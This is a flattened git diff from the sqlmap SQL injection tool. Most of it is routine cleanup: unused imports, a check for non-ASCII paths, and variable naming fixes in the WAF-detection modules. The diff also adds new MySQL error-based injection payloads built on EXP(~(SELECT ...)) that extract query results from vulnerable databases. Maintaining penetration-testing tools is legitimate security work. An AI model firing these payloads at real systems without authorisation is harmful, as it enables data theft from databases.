# Display page rank (PR) for Google dork results. # Valid: True or False pageRank = False diff --git a/sqlmap.py b/sqlmap.py index 81b3e756e..6bb12a56f 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -12,7 +12,6 @@ import os import re import shutil import sys -import tempfile import time import traceback import warnings @@ -28,7 +27,6 @@ from lib.core.common import createGithubIssue from lib.core.common import dataToStdout from lib.core.common import getUnicode from lib.core.common import maskSensitiveData -from lib.core.common import setColor from lib.core.common import setPaths from lib.core.common import weAreFrozen from lib.core.data import cmdLineOptions @@ -62,7 +60,7 @@ def modulePath(): except NameError: _ = inspect.getsourcefile(modulePath) - return getUnicode(os.path.dirname(os.path.realpath(_)), sys.getfilesystemencoding()) + return getUnicode(os.path.dirname(os.path.realpath(_)), encoding=sys.getfilesystemencoding()) def main(): """ @@ -71,6 +69,15 @@ def main(): try: paths.SQLMAP_ROOT_PATH = modulePath() + + try: + os.path.isdir(paths.SQLMAP_ROOT_PATH) + except UnicodeEncodeError: + errMsg = "your system does not properly handle non-ASCII paths. " + errMsg += "Please move the sqlmap's directory to the other location" + logger.error(errMsg) + exit() + setPaths() # Store original command line options for possible later restoration diff --git a/waf/360.py b/waf/360.py index cc8b4c615..86c251c20 100644 --- a/waf/360.py +++ b/waf/360.py @@ -7,7 +7,6 @@ See the file 'doc/COPYING' for copying permission import re -from lib.core.enums import HTTP_HEADER from lib.core.settings import WAF_ATTACK_VECTORS __product__ = "360 Web Application Firewall (360)" diff --git a/waf/anquanbao.py b/waf/anquanbao.py index 430ce942a..6842c8a35 100644 --- a/waf/anquanbao.py +++ b/waf/anquanbao.py @@ -7,7 +7,6 @@ See the file 'doc/COPYING' for copying permission import re -from lib.core.enums import HTTP_HEADER from lib.core.settings import WAF_ATTACK_VECTORS __product__ = "Anquanbao Web Application Firewall (Anquanbao)" diff --git a/waf/baidu.py b/waf/baidu.py index fc9cc9d21..7a15feadb 100644 --- a/waf/baidu.py +++ b/waf/baidu.py @@ -7,7 +7,6 @@ See the file 'doc/COPYING' for copying permission import re -from lib.core.enums import HTTP_HEADER from lib.core.settings import WAF_ATTACK_VECTORS __product__ = "Yunjiasu Web Application Firewall (Baidu)" diff --git a/waf/edgecast.py b/waf/edgecast.py index c59a3db68..ec2227055 100644 --- a/waf/edgecast.py +++ b/waf/edgecast.py @@ -13,12 +13,12 @@ from lib.core.settings import WAF_ATTACK_VECTORS __product__ = "EdgeCast WAF (Verizon)" def detect(get_page): - retval = False + retVal = False for vector in WAF_ATTACK_VECTORS: page, headers, code = get_page(get=vector) retVal = code == 400 and re.search(r"\AECDF", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - if retval: + if retVal: break - return retval + return retVal diff --git a/waf/safedog.py b/waf/safedog.py index 63c7fdddd..31b706e18 100644 --- a/waf/safedog.py +++ b/waf/safedog.py @@ -7,7 +7,6 @@ See the file 'doc/COPYING' for copying permission import re -from lib.core.enums import HTTP_HEADER from lib.core.settings import WAF_ATTACK_VECTORS __product__ = "Safedog Web Application Firewall (Safedog)" diff --git a/waf/senginx.py b/waf/senginx.py index a4bdb1bf2..15a4223f2 100644 --- a/waf/senginx.py +++ b/waf/senginx.py @@ -5,9 +5,6 @@ Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ -import re - -from lib.core.enums import HTTP_HEADER from lib.core.settings import WAF_ATTACK_VECTORS __product__ = "SEnginx (Neusoft Corporation)" diff --git a/waf/sucuri.py b/waf/sucuri.py index 61344628e..ba25802c7 100644 --- a/waf/sucuri.py +++ b/waf/sucuri.py @@ -13,12 +13,12 @@ from lib.core.settings import WAF_ATTACK_VECTORS __product__ = "Sucuri WebSite Firewall" def detect(get_page): - retval = False + retVal = False for vector in WAF_ATTACK_VECTORS: page, headers, code = get_page(get=vector) retVal = code == 403 and re.search(r"Sucuri/Cloudproxy", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - if retval: + if retVal: break - return retval + return retVal diff --git a/xml/payloads/02_error_based.xml b/xml/payloads/02_error_based.xml index 2b2354d2f..7c4b54c5c 100644 --- a/xml/payloads/02_error_based.xml +++ b/xml/payloads/02_error_based.xml @@ -149,6 +149,46 @@ + + MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP) + 2 + 4 + 1 + 1,2,3 + 1 + AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)) + + AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x)) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.5 +
+
+ + + MySQL >= 5.5 OR error-based - WHERE, HAVING clause (EXP) + 2 + 4 + 3 + 1 + 1 + OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)) + + OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x)) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.5 +
+
+ MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED) 2 @@ -682,6 +722,26 @@ + + MySQL >= 5.5 error-based - Parameter replace (EXP) + 2 + 5 + 1 + 1,2,3 + 3 + EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)) + + EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x)) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.5 +
+
+ MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED) 2 @@ -898,6 +958,26 @@ + + MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause (EXP) + 2 + 5 + 1 + 2,3 + 1 + ,EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)) + + ,EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x)) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.5 +
+
+ MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause (BIGINT UNSIGNED) 2